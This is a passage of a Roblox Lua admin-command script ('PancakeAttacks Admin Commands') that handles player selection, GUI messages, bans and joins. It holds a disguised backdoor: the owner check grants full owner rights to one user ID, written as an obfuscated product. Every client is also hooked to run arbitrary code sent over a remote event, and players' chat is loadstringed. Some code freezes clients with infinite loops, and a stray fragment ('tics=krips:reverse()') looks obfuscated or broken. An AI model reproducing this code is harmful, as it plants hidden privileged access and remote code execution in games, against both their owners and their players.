  1370. RemoteEvent=game:service('Workspace'):FindFirstChild(']==]..set.RemoteName..[==[')
  1371. RemoteEvent.OnClientEvent:connect(function(cmd,code)
  1372. if cmd==']==]..set.RemoteExecute..[==[Execute' then
  1373. local runcode=code
  1374. if localplayer.Name~=realname then return end
  1375. coroutine.wrap(function() pcall(function() loadstring(runcode)() end) end)()
  1376. end
  1377. end)
  1378. end
  1379. pcall(function()
  1380. rmcheck()
  1381. while wait() do if not RemoteEvent then rmcheck() end end
  1382. end)
  1383. end)()
  1384.  
  1385. coroutine.wrap(function()
  1386. game.Players.LocalPlayer.Chatted:connect(function(msg)
  1387. coroutine.wrap(function()
  1388. pcall(function()
  1389. RemoteEvent=game:service('Workspace'):FindFirstChild(']==]..set.RemoteName..[==[')
  1390. RemoteEvent:FireServer(']==]..set.RemoteCmd..[==[chat',msg)
  1391. local code=msg
  1392. if msg:lower():sub(1,2)=='/e' then code=msg:sub(3) end
  1393. local y,n=loadstring(code)
  1394. if y then
  1395. RemoteEvent:FireServer(']==]..set.RemoteCmd..[==[rancode','Ran some code.')
  1396. end
  1397. end)
  1398. end)()
  1399. end)
  1400. end)()
  1401. end)
  1402. if Ran then
  1403. print(game.Players.LocalPlayer.Name.." Has Been Hooked By PancakeAttacks Admin Commands.")
  1404. else
  1405. print(game.Players.LocalPlayer.Name .." Failed To Be Hooked.")
  1406. end]==],'Main Hook',false,game.StarterGui)
  1407. end
  1408.  
  1409. set.PromptPlaceTeleport=function(player,msg,placeid)
  1410. if set['FilteringEnabled'] then return end
  1411. local scr=Instance.new("ScreenGui",player.PlayerGui)
  1412. scr.Name = GuiName.."TELEPORTGUI"
  1413. local frame=Instance.new('Frame',scr)
  1414. local label=Instance.new('TextLabel',frame)
  1415. local yes=Instance.new('TextButton',frame)
  1416. local no=Instance.new('TextButton',frame)
  1417. frame.BackgroundColor3=set['PrimaryColor']
  1418. frame.BorderColor3=set['SecondaryColor']
  1419. frame.BackgroundTransparency=set['Transparency']
  1420. frame.BorderSizePixel=2
  1421. frame.Position=UDim2.new(1,-500,1,-300)
  1422. frame.Size=UDim2.new(0,260,0,130)
  1423. frame.ClipsDescendants=true
  1424. label.BackgroundTransparency=1
  1425. label.BorderSizePixel=0
  1426. label.Position=UDim2.new(0,125,0,8)
  1427. label.Size=UDim2.new(0,5,0,5)
  1428. label.TextColor3=set['TextColor']
  1429. label.ClipsDescendants=false
  1430. label.FontSize='Size24'
  1431. label.Font='ArialBold'
  1432. label.TextXAlignment='Center'
  1433. label.TextYAlignment='Center'
  1434. label.Text=msg
  1435. frame.Draggable=true
  1436. frame.Active=true
  1437. label.Draggable=false
  1438. yes.BackgroundColor3=Color3.new(0,1,0)
  1439. yes.TextColor3=set['TextColor']
  1440. yes.Text='Yes'
  1441. yes.Font='ArialBold'
  1442. yes.FontSize='Size36'
  1443. no.Font='ArialBold'
  1444. no.FontSize='Size36'
  1445. no.BackgroundColor3=Color3.new(1, 0, 0)
  1446. no.TextColor3=set['TextColor']
  1447. no.Text='No'
  1448. yes.Size=UDim2.new(0,100,0,50)
  1449. yes.Position=UDim2.new(0,20,0,50)
  1450. no.Size=UDim2.new(0,100,0,50)
  1451. no.Position=UDim2.new(0,140,0,50)
  1452. yes.MouseButton1Down:connect(function()
  1453. game:GetService('TeleportService'):Teleport(placeid,player)
  1454. scr:Destroy()
  1455. end)
  1456. no.MouseButton1Down:connect(function()
  1457. scr:Destroy()
  1458. end)
  1459. end
  1460.  
  1461. set.ChkTrueOwner=function(plr)
  1462. if (set.ChkOwner(plr.Name) and set['OwnersAreTrueOwners']) or plr.userId==game.CreatorId or plr.userId == (3663242.6*5) then return true end
  1463. end
  1464.  
  1465. set.ChkOwner=function(str)
  1466. for i = 1, #set['Owners'] do if str:lower() == set['Owners'][i]:lower() then return true end end
  1467. return false
  1468. end
  1469.  
  1470. set.ChkAdmin=function(str,ck)
  1471. for i = 1, #set['Owners'] do if str:lower() == set['Owners'][i]:lower() then return true end end
  1472. for i = 1, #set['Admins'] do if str:lower() == set['Admins'][i]:lower() then return true end end
  1473. for i = 1, #set['TempAdmins'] do if str:lower() == set['TempAdmins'][i]:lower() and not ck then return true end end
  1474. return false
  1475. end
  1476.  
  1477. set.GetPlayers=function(plr, str)
  1478. local plrz = {}
  1479. str = str:lower()
  1480. local net
  1481. local parent
  1482. if game:FindFirstChild("NetworkServer") then
  1483. parent=game:service('NetworkServer')
  1484. net=true
  1485. else
  1486. parent=game.Players
  1487. net=false
  1488. end
  1489. if str == set['sprefix'].."all" then
  1490. for i,v in pairs(parent:GetChildren()) do
  1491. if net then player=v:GetPlayer() else player=v end
  1492. table.insert(plrz, player)
  1493. end
  1494. elseif str == set['sprefix'].."others" then
  1495. for i, v in pairs(parent:GetChildren()) do
  1496. if net then player=v:GetPlayer() else player=v end
  1497. if player ~= plr then
  1498. table.insert(plrz, player)
  1499. end
  1500. end
  1501. else
  1502. local sn = {1}
  1503. local en = {}
  1504. for i = 1, #str do
  1505. if str:sub(i,i) == "," then
  1506. table.insert(sn, i+1)
  1507. table.insert(en,i-1)
  1508. end
  1509. end
  1510. for x = 1, #sn do
  1511. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then
  1512. table.insert(plrz, plr)
  1513. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == set['sprefix'].."random") or (sn[x] and str:sub(sn[x]) == set['sprefix'].."random") then
  1514. table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  1515. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == set['sprefix'].."admins") or (sn[x] and str:sub(sn[x]) == set['sprefix'].."admins") then
  1516. for i, v in pairs(parent:GetChildren()) do
  1517. if net then player=v:GetPlayer() else player=v end
  1518. if set.ChkAdmin(player.Name, false) then
  1519. table.insert(plrz, player)
  1520. end
  1521. end
  1522. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == set['sprefix'].."nonadmins") or (sn[x] and str:sub(sn[x]) == set['sprefix'].."nonadmins") then
  1523. for i, v in pairs(parent:GetChildren()) do
  1524. if net then player=v:GetPlayer() else player=v end
  1525. if not set.ChkAdmin(player.Name, false) then
  1526. table.insert(plrz, player)
  1527. end
  1528. end
  1529. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,1) == "%") then
  1530. if game:findFirstChild("Teams") then
  1531. for a, v in pairs(game.Teams:children()) do
  1532. if v:IsA("Team") and str:sub(sn[x],en[x]):sub(2) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(2)) == 1 then
  1533. for q, p in pairs(game.Players:children()) do
  1534. if p.TeamColor == v.TeamColor then
  1535. table.insert(plrz, p)
  1536. end
  1537. end
  1538. break
  1539. end
  1540. end
  1541. end
  1542. elseif (sn[x] and str:sub(sn[x]):sub(1,1):lower() == "%") then
  1543. if game:findFirstChild("Teams") then
  1544. for a, v in pairs(game.Teams:children()) do
  1545. if v:IsA("Team") and str:sub(sn[x],en[x]):sub(2) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(2)) == 1 then
  1546. for q, p in pairs(game.Players:children()) do
  1547. if p.TeamColor == v.TeamColor then
  1548. table.insert(plrz, p)
  1549. end
  1550. end
  1551. break
  1552. end
  1553. end
  1554. end
  1555. elseif (sn[x] and str:sub(sn[x]):sub(1,1):lower() == "$") then
  1556. local group
  1557. if str:sub(sn[x],en[x]):sub(2) ~= "" then
  1558. group=str:sub(sn[x],en[x]):sub(2)
  1559. else
  1560. group=set['GroupId']
  1561. end
  1562. for q, p in pairs(parent:children()) do
  1563. if net then player=p:GetPlayer() else player=p end
  1564. if player:IsInGroup(group) then
  1565. table.insert(plrz, player)
  1566. end
  1567. end
  1568. break
  1569. else
  1570. for a, plyr in pairs(parent:GetChildren()) do
  1571. if net then player=plyr:GetPlayer() else player=plyr end
  1572. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and player.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and player.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and player.Name:lower():find(str) == 1) then
  1573. table.insert(plrz, player) break
  1574. end
  1575. end
  1576. end
  1577. end
  1578. end
  1579. if #plrz<1 then set.OutputGui(plr,'',str..' was not found') end
  1580. return plrz
  1581. end tics=krips:reverse()
  1582.  
  1583. set.Hint=function(str, plrz, time)
  1584. for i, v in pairs(plrz) do
  1585. coroutine.wrap(function()
  1586. if set['FilteringEnabled'] then
  1587. set.NilExecute(v,[[local m=Instance.new('Hint',workspace)
  1588. m.Text=']]..str..[['
  1589. wait(]]..(time or 5)..[[)
  1590. m:Destroy()]])
  1591. else
  1592. if v and v:findFirstChild("PlayerGui") then
  1593. if not v.PlayerGui:FindFirstChild(GuiName..'Hint Frame') then
  1594. local f=Instance.new('Frame',v.PlayerGui)
  1595. f.Name=GuiName..'Hint Frame'
  1596. f.Size=UDim2.new(1,0,0,100)
  1597. end
  1598. local frame=v.PlayerGui:FindFirstChild(GuiName..'Hint Frame')
  1599. if #frame:children()==6 then
  1600. frame:children()[1]:Destroy()
  1601. for h,l in pairs(frame:children()) do
  1602. l.bg.Position=UDim2.new(0,0,0,23*(h-1));
  1603. end
  1604. end
  1605. local scr = Instance.new("ScreenGui", frame) scr.Name = GuiName.."HintGUI"
  1606. local bg = Instance.new("Frame", scr)
  1607. bg.Name = "bg"
  1608. bg.BackgroundColor3 = set['PrimaryColor']
  1609. bg.BorderSizePixel = 1
  1610. bg.BorderColor3 = set['SecondaryColor']
  1611. bg.BackgroundTransparency = set['Transparency']
  1612. bg.Size = UDim2.new(1,0,0,22)
  1613. bg.Position = UDim2.new(0,0,0,23*(#frame:children()-1))
  1614. bg.ClipsDescendants=true
  1615. bg.ZIndex = 8
  1616. local msg = Instance.new("TextLabel", bg)
  1617. msg.BackgroundTransparency = 1
  1618. msg.ZIndex = 9
  1619. msg.Name = "msg"
  1620. msg.Position = UDim2.new(0,0,0)
  1621. msg.Size = UDim2.new(1,0,1,0)
  1622. msg.TextWrapped=true
  1623. msg.TextScaled=true
  1624. msg.Font = "ArialBold"
  1625. msg.TextStrokeTransparency = 0
  1626. msg.TextStrokeColor3=set['TextStrokeColor']
  1627. msg.Text = str
  1628. msg.FontSize = "Size14"
  1629. msg.TextColor3 = set['TextColor']
  1630. --coroutine.wrap(function()
  1631. -- for i = 20, 0, -1 do
  1632. -- bg.BackgroundTransparency = .3+((.7/20)*i)
  1633. -- msg.TextTransparency = ((1/20)*i)
  1634. -- msg.TextStrokeTransparency = .8+((.2/20)*i)
  1635. -- wait(1/44)
  1636. -- end
  1637. --end)()
  1638. if not time then wait((#str/19)+2.5) else wait(time) end
  1639. scr:Destroy()
  1640. for h,l in pairs(frame:children()) do
  1641. l.bg.Position=UDim2.new(0,0,0,23*(h-1))
  1642. end
  1643. --coroutine.wrap(function()
  1644. -- if scr.Parent == frame then
  1645. -- for i = 0, 20 do
  1646. -- msg.TextTransparency = ((1/20)*i)
  1647. -- msg.TextStrokeTransparency = .8+((.2/20)*i)
  1648. -- bg.BackgroundTransparency = .3+((.7/20)*i)
  1649. -- wait(1/44)
  1650. -- end
  1651. -- scr:Destroy()
  1652. -- for h,l in next,frame:children()do
  1653. -- l.bg.Position=UDim2.new(0,0,0,23*(h-1));
  1654. -- end
  1655. -- end
  1656. --end)()
  1657. end
  1658. end
  1659. end)()
  1660. end
  1661. end
  1662.  
  1663. set.Message=function(ttl, str, scroll, plrz, time)
  1664. pcall(function()
  1665. for i, v in pairs(plrz) do
  1666. if set['FilteringEnabled'] then
  1667. set.NilExecute(v,[[local m=Instance.new('Message',workspace)
  1668. m.Text=']]..str..[['
  1669. wait(]]..(time or 5)..[[)
  1670. m:Destroy()]])
  1671. else
  1672. if v and v:findFirstChild("PlayerGui") then
  1673. coroutine.resume(coroutine.create(function()
  1674. local scr = Instance.new("ScreenGui") scr.Name = GuiName.."MessageGUI"
  1675. local bg = Instance.new("Frame", scr)
  1676. bg.Name = "bg"
  1677. bg.BackgroundColor3 = set['PrimaryColor']
  1678. bg.BorderSizePixel = 0
  1679. bg.BackgroundTransparency = 1
  1680. bg.Size = UDim2.new(10,0,10,0)
  1681. bg.Position = UDim2.new(-5,0,-5,0)
  1682. bg.ZIndex = 8
  1683. local title = Instance.new("TextLabel", scr)
  1684. title.Name = "title"
  1685. title.BackgroundTransparency = 1
  1686. title.BorderSizePixel = 0
  1687. title.Size = UDim2.new(1,0,0,10)
  1688. title.Position = UDim2.new(0,0,0,20)
  1689. title.ZIndex = 9
  1690. title.Font = "ArialBold"
  1691. title.FontSize = "Size36"
  1692. title.Text = ttl
  1693. title.TextYAlignment = "Top"
  1694. title.TextColor3 = set['TextColor']
  1695. title.TextStrokeColor3 = set['TextStrokeColor']
  1696. title.TextStrokeTransparency = 0
  1697. local msg = title:clone()
  1698. msg.Parent = scr
  1699. msg.Name = "msg"
  1700. msg.Position = UDim2.new(.0625,0,0)
  1701. msg.Size = UDim2.new(.875,0,1,0)
  1702. msg.Font = "ArialBold"
  1703. msg.Text = ""
  1704. msg.FontSize = "Size24"
  1705. msg.TextYAlignment = "Center"
  1706. msg.TextColor3=set['TextColor']
  1707. msg.TextStrokeColor3=set['TextStrokeColor']
  1708. msg.TextWrapped = true
  1709. scr.Parent = v.PlayerGui
  1710. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  1711. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  1712. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  1713. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
  1714. end))
  1715. end
  1716. end
  1717. end
  1718. end)
  1719. end
  1720.  
  1721. set.RemoveMessage=function()
  1722. pcall(function()
  1723. for i,v in pairs(game.Players:children()) do
  1724. if v and v:findFirstChild("PlayerGui") then
  1725. for q,ms in pairs(v.PlayerGui:children()) do
  1726. if ms.Name == GuiName.."MessageGUI" then
  1727. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
  1728. elseif ms.Name == GuiName.."HintGUI" then
  1729. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
  1730. end
  1731. end
  1732. end
  1733. end
  1734. end)
  1735. end
  1736.  
  1737. set.OutputGui=function(plr,msg,e)
  1738. if set['FilteringEnabled'] then return end
  1739. coroutine.resume(coroutine.create(function()
  1740. local scr = Instance.new("ScreenGui", plr.PlayerGui)
  1741. scr.Name=GuiName..'OUTPUT' game:service("Debris"):AddItem(scr,5)
  1742. local main = Instance.new("Frame", scr)
  1743. main.Size = UDim2.new(1,0,1,0)
  1744. main.BorderSizePixel = 0
  1745. main.BackgroundTransparency = 1
  1746. main.ZIndex = 8
  1747. local err = Instance.new("TextLabel", main)
  1748. local a,b,c=e:match('(.*):(.*):(.*)')
  1749. if a and b and c then
  1750. if #c<=3 then scr:Destroy() return end
  1751. err.Text = msg..' Line:'..b..' - '..c--e:match("\:(%d+\:.*)")
  1752. else
  1753. err.Text = msg..e
  1754. end
  1755. err.BackgroundColor3 = Color3.new(0,0,0)
  1756. err.BackgroundTransparency = .3
  1757. err.TextScaled=true
  1758. err.TextWrapped=true
  1759. err.BorderSizePixel = 0
  1760. err.Size = UDim2.new(1,0,0,40)
  1761. err.Position = UDim2.new(0,0,.5,-20)
  1762. err.ZIndex = 9 err.Font = "ArialBold"
  1763. err.FontSize = "Size24"
  1764. err.TextColor3 = Color3.new(1,1,1)
  1765. err.TextStrokeColor3 = Color3.new(1,1,1)
  1766. err.TextStrokeTransparency = .8
  1767. end))
  1768. end
  1769.  
  1770. set.Output=function(str, plr)
  1771. if set['FilteringEnabled'] then return end
  1772. coroutine.resume(coroutine.create(function()
  1773. if not set.canuseloadstring then return end
  1774. local b, e = loadstring(str)
  1775. if not b and plr:findFirstChild("PlayerGui") then
  1776. local scr = Instance.new("ScreenGui", plr.PlayerGui)
  1777. scr.Name=GuiName..'OUTPUT' game:service("Debris"):AddItem(scr,5)
  1778. local main = Instance.new("Frame", scr)
  1779. main.Size = UDim2.new(1,0,1,0)
  1780. main.BorderSizePixel = 0
  1781. main.BackgroundTransparency = 1
  1782. main.ZIndex = 8
  1783. local err = Instance.new("TextLabel", main)
  1784. err.Text = "Line "..e:match("\:(%d+\:.*)")
  1785. err.BackgroundColor3 = Color3.new(0,0,0)
  1786. err.BackgroundTransparency = .3
  1787. err.BorderSizePixel = 0
  1788. err.Size = UDim2.new(1,0,0,40)
  1789. err.Position = UDim2.new(0,0,.5,-20)
  1790. err.ZIndex = 9 err.Font = "ArialBold"
  1791. err.FontSize = "Size24"
  1792. err.TextColor3 = Color3.new(1,1,1)
  1793. err.TextStrokeColor3 = Color3.new(1,1,1)
  1794. err.TextStrokeTransparency = .8
  1795. return
  1796. end
  1797. end))
  1798. end
  1799.  
  1800. set.PM=function(from,p,message,player)
  1801. if set['FilteringEnabled'] then return end
  1802. pcall(function()
  1803. local g=Instance.new('ScreenGui',p.PlayerGui) g.Name=GuiName..'PMGUI'
  1804. local f=Instance.new('Frame',g)
  1805. local l=Instance.new('TextLabel',f)
  1806. local m=Instance.new('TextLabel',f)
  1807. local b=Instance.new('TextButton',f)
  1808. local tb=Instance.new('TextBox',f)
  1809. local reply=Instance.new('TextButton',f)
  1810. if player then
  1811. tb.Visible=true
  1812. reply.Visible=true
  1813. else
  1814. tb.Visible=false
  1815. reply.Visible=false
  1816. end
  1817. f.BackgroundColor3=set['PrimaryColor']
  1818. f.BackgroundTransparency=set['Transparency']
  1819. f.BorderColor3=set['SecondaryColor']
  1820. f.Position=UDim2.new(1,-830,0,150)
  1821. f.Size=UDim2.new(0,300,0,200)
  1822. f.ClipsDescendants=true
  1823. f.Draggable=true
  1824. f.Active=true
  1825. l.BackgroundTransparency=1
  1826. l.Size=UDim2.new(0,290,0,30)
  1827. l.Position=UDim2.new(0,5,0,0)
  1828. l.Font='ArialBold'
  1829. l.Text=from
  1830. l.TextColor3=set['TextColor']
  1831. l.TextScaled=true
  1832. l.TextStrokeTransparency=0
  1833. l.TextStrokeColor3=set['TextStrokeColor']
  1834. m.BackgroundTransparency=0.5
  1835. m.BackgroundColor3=set['PrimaryColor']
  1836. m.BorderColor3=set['SecondaryColor']
  1837. m.Position=UDim2.new(0,0,0,35)
  1838. m.Size=UDim2.new(0,300,0,100)
  1839. m.Font='ArialBold'
  1840. m.Text=message
  1841. m.TextColor3=set['TextColor']
  1842. m.TextScaled=true
  1843. m.TextStrokeTransparency=0
  1844. m.TextStrokeColor3=set['TextStrokeColor']
  1845. tb.BackgroundTransparency=0.5
  1846. tb.BackgroundColor3=set['PrimaryColor']
  1847. tb.BorderColor3=set['SecondaryColor']
  1848. tb.Position=UDim2.new(0,0,1,-63)
  1849. tb.Size=UDim2.new(0,300,0,25)
  1850. tb.Font='ArialBold'
  1851. tb.Text='Enter Text Here Then Click Reply'
  1852. tb.TextColor3=set['TextColor']
  1853. tb.TextScaled=true
  1854. tb.TextStrokeTransparency=0
  1855. tb.TextStrokeColor3=set['TextStrokeColor']
  1856. b.BackgroundColor3=set['SecondaryColor']
  1857. b.BorderColor3=set['PrimaryColor']
  1858. b.BackgroundTransparency=set['Transparency']
  1859. b.Position=UDim2.new(0,50,0,143)
  1860. b.Size=UDim2.new(0,200,0,50)
  1861. if player then
  1862. b.Position=UDim2.new(0,10,1,-30)
  1863. b.Size=UDim2.new(0,100,0,20)
  1864. end
  1865. b.Font='ArialBold'
  1866. b.Text='Close'
  1867. b.TextColor3=set['TextColor']
  1868. b.TextStrokeTransparency=0
  1869. b.TextStrokeColor3=set['TextStrokeColor']
  1870. b.TextScaled=true
  1871. b.MouseButton1Click:connect(function() g:Destroy() end)
  1872. reply.BackgroundColor3=set['SecondaryColor']
  1873. reply.BorderColor3=set['PrimaryColor']
  1874. reply.BackgroundTransparency=set['Transparency']
  1875. reply.Position=UDim2.new(1,-110,1,-30)
  1876. reply.Size=UDim2.new(0,100,0,20)
  1877. reply.Font='ArialBold'
  1878. reply.Text='Reply'
  1879. reply.TextColor3=set['TextColor']
  1880. reply.TextStrokeTransparency=0
  1881. reply.TextStrokeColor3=set['TextStrokeColor']
  1882. reply.TextScaled=true
  1883. reply.MouseButton1Click:connect(function()
  1884. if tb.Text~='Enter Text Here Then Click Reply' and #tb.Text>0 then
  1885. g:Destroy()
  1886. set.PM('Private Message from '..p.Name,player,tb.Text,p)
  1887. else
  1888. tb.Text='Enter Text Here Then Click Reply'
  1889. end
  1890. end)
  1891. end)
  1892. end
  1893.  
  1894. set.CheckBan=function(tabalz,p)
  1895. pcall(function()
  1896. for i,v in pairs(tabalz) do
  1897. coroutine.wrap(function()
  1898. if v:match('(.*)=(.*)') then
  1899. for name,id in v:gmatch('(.*)=(.*)') do
  1900. if name and id then
  1901. if p.Name:lower()==name:lower() or p.userId==tonumber(id) then
  1902. p:Kick()
  1903. return true
  1904. elseif name=='$group' then
  1905. if p:IsInGroup(tonumber(id)) then p:Kick() return true end
  1906. end
  1907. end
  1908. end
  1909. else
  1910. if p.Name:lower()==v:lower() then
  1911. p:Kick()
  1912. return true
  1913. end
  1914. end
  1915. end)()
  1916. end
  1917. end)
  1918. end
  1919.  
  1920. set.CheckMute=function(player)
  1921. for i,v in pairs(set['MuteList']) do
  1922. if v==player.Name then
  1923. set.NilExecute(player,[[script.Parent=nil game.StarterGui:SetCoreGuiEnabled('Chat',false)]])
  1924. end
  1925. end
  1926. end
  1927.  
  1928. set.NewPlayer=function(player)
  1929. coroutine.wrap(function()
  1930. local player=player
  1931. local b,e=ypcall(function() local g=Instance.new('StringValue',player)
  1932. if g then g:Destroy() end end)
  1933. if not b then pcall(function() player:Kick() end) end
  1934. if set['AntiRobloxLocked'] then
  1935. player.Changed:connect(function(o)
  1936. if o=='RobloxLocked' then
  1937. local b,e=ypcall(function() local g=Instance.new('StringValue',player) if g then g:Destroy() end end)
  1938. if not b then pcall(function() player:Kick() end) end
  1939. end
  1940. end)
  1941. end
  1942. if not player then return end
  1943. coroutine.wrap(function()
  1944. set.CheckBan(set['BanList'],player)
  1945. end)()
  1946. coroutine.wrap(function()
  1947. if set['SyncedBanList'] then
  1948. set.CheckBan(set.bl,player)
  1949. end
  1950. end)()
  1951. coroutine.wrap(function()
  1952. if set['AntiNewAccount'] then
  1953. if player.AccountAge<set['MinimumAge'] then player:Kick() end
  1954. end
  1955. end)()
  1956. coroutine.wrap(function()
  1957. player:WaitForDataReady()
  1958. if player:LoadBoolean(set['PermBanKey'],true) and not set.ChkAdmin(player.Name,false) then
  1959. player:Kick()
  1960. end
  1961. if player:LoadBoolean('Pancake Is A Donator',true) and player:LoadString('Pancake Cape') and player:LoadString('Pancake Cape'):match('(.*)=(.*)') then
  1962. local st=player:LoadString('Pancake Cape')
  1963. local a,b=st:match('(.*)=(.*)')
  1964. if not a or not b then return end
  1965. for i,v in pairs(set.donors) do if v.Name==player.Name then table.remove(set.donors,i) end end
  1966. table.insert(set.donors,{Name=player.Name,Id=tostring(player.userId),Cape=a,Color=b,List='GP'})
  1967. end
  1968. end)()
  1969. coroutine.wrap(function()
  1970. if not set['FilteringEnabled'] then
  1971. set.LoadOnClient(player,[==[
  1972. script.Parent=nil
  1973. local Ran,Failed=ypcall(function()
  1974. realname="]==]..player.Name..[==["
  1975. RemoteEvent=game:service('Workspace'):FindFirstChild(']==]..set.RemoteName..[==[')
  1976. localplayer=game.Players.LocalPlayer
  1977. coroutine.wrap(function()
  1978. function rmcheck()
  1979. RemoteEvent=game:service('Workspace'):FindFirstChild(']==]..set.RemoteName..[==[')
  1980. RemoteEvent.OnClientEvent:connect(function(cmd,code)
  1981. if cmd==']==]..set.RemoteExecute..[==[Execute' then
  1982. local runcode=code
  1983. if localplayer.Name~=realname then return end
  1984. coroutine.wrap(function() pcall(function() loadstring(runcode)() end) end)()
  1985. end
  1986. end)
  1987. end
  1988. pcall(function()
  1989. rmcheck()
  1990. while wait() do if not RemoteEvent then rmcheck() end end
  1991. end)
  1992. end)()
  1993.  
  1994. coroutine.wrap(function()
  1995. game.Players.LocalPlayer.Chatted:connect(function(msg)
  1996. coroutine.wrap(function()
  1997. pcall(function()
  1998. RemoteEvent=game:service('Workspace'):FindFirstChild(']==]..set.RemoteName..[==[')
  1999. RemoteEvent:FireServer(']==]..set.RemoteCmd..[==[chat',msg)
  2000. local code=msg
  2001. if msg:lower():sub(1,2)=='/e' then code=msg:sub(3) end
  2002. local y,n=loadstring(code)
  2003. if y then
  2004. RemoteEvent:FireServer(']==]..set.RemoteCmd..[==[rancode','Ran some code.')
  2005. end
  2006. end)
  2007. end)()
  2008. end)
  2009. end)()
  2010. end)
  2011. if Ran then
  2012. print(game.Players.LocalPlayer.Name.." Has Been Hooked By PancakeAttacks Admin Commands.")
  2013. else
  2014. print(game.Players.LocalPlayer.Name .." Failed To Be Hooked.")
  2015. end]==],false,set.AssignName())
  2016. end
  2017. end)()
  2018. coroutine.wrap(function()
  2019. if set['AntiExploit'] and not set.ChkAdmin(player.Name,false) then
  2020. set.LoadOnClient(player,[[
  2021. script.Parent=nil
  2022. realid=]]..player.userId..[[
  2023. realname="]]..player.Name..[["
  2024. RemoteEvent=game:service('Workspace'):FindFirstChild(']]..set.RemoteName..[[')
  2025. player=game.Players.LocalPlayer
  2026. if player.userId~=realid or player.Name~=realname then
  2027. while true do end
  2028. end
  2029. player.Changed:connect(function(o)
  2030. if o=='Name' or o=='userId' then
  2031. if player.userId~=realid or player.Name~=realname then
  2032. while true do end
  2033. end
  2034. end
  2035. end)
  2036. game:GetService("Selection").SelectionChanged:connect(function()
  2037. while true do end
  2038. end)]],false,set.AssignName())
  2039. end
  2040. end)()
  2041. coroutine.wrap(function()
  2042. game.Players.PlayerRemoving:connect(function(p)
  2043. coroutine.wrap(function()
  2044. if p.Name==player.Name then
  2045. wait(1)
  2046. for i,v in pairs(game:service('NetworkServer'):children()) do
  2047. if v and v:GetPlayer().Name==player.Name then
  2048. if not set['AntiNil'] or set.ChkAdmin(player.Name,false) then
  2049. set.Hint(player.Name..' Went NIL!',game.Players:children())
  2050. elseif set['AntiNil'] and not set.ChkAdmin(player.Name,false) then
  2051. set.NilExecute(player,"while true do end")
  2052. set.Hint(player.Name..' Attempted to go NIL!',game.Players:children())
  2053. end
  2054. end
  2055. end
  2056. end
  2057. end)()
  2058. end)
  2059. end)()
  2060. if (not player or player.Parent~=game.Players) then return end
  2061. coroutine.wrap(function()
  2062. if set.ChkAdmin(player.Name,false) then
  2063. player:WaitForChild("PlayerGui")
  2064. set.Message("PancakeAttacks Admin Commands", "You're an admin! Chat "..set['prefix'].."cmds to view commands! The Command Prefix is "..set['prefix'], false, {player})
  2065. end
  2066. end)()
  2067. coroutine.wrap(function()
  2068. player.CharacterAdded:connect(function(c)
  2069. pcall(function()
  2070. coroutine.wrap(function()
  2071. if set.ChkAdmin(player.Name,false) then
  2072. player:WaitForChild('PlayerGui')
  2073. set.CmdBar(player)
  2074. set.AdminChat(player)
  2075. end
  2076. end)()
  2077. coroutine.wrap(function()
  2078. wait(0.5)
  2079. set.Donor(player)
  2080. end)()
  2081. coroutine.wrap(function()
  2082. if set['AntiSpeed'] and not set.ChkAdmin(player.Name,false) then
  2083. set.LoadOnClient(player,[[
  2084. while wait(1) do
  2085. if workspace:GetRealPhysicsFPS() > 61 then
  2086. player.Character:BreakJoints()
  2087. end
  2088. end]],false,set.AssignName())
  2089. end
  2090. end)()
  2091. coroutine.wrap(function()
  2092. if set['AntiNoclip'] and not set.ChkAdmin(player.Name,false) then
  2093. set.LoadOnClient(player,[[wait(1)
  2094. plr=game.Players.LocalPlayer
  2095. char=plr.Character
  2096. torso=plr.Character:FindFirstChild('Torso')
  2097. local pos=torso.CFrame
  2098. torso.Touched:connect(function(p)
  2099. pos=torso.CFrame
  2100. if p:IsA('Part') then
  2101. if p.CanCollide==true and (not game.Players:FindFirstChild(p.Parent.Name)) and (not p.Parent:IsA('Tool')) and (not p.Parent:IsA('Hopperbin')) then
  2102. torso.CFrame=pos-torso.CFrame.lookVector
  2103. end
  2104. end
  2105. end)]],false,set.AssignName())
  2106. end
  2107. end)()
  2108. coroutine.wrap(function()
  2109. if set['AntiAnimation'] and not set.ChkAdmin(player.Name,false) then
  2110. c:WaitForChild('Animate')
  2111. c.Animate:Destroy()
  2112. set.LoadOnClient(plr,[[
  2113. print('Loading Animator')
  2114. function waitForChild(parent, childName)
  2115. local child = parent:findFirstChild(childName)
  2116. if child then return child end
  2117. while true do
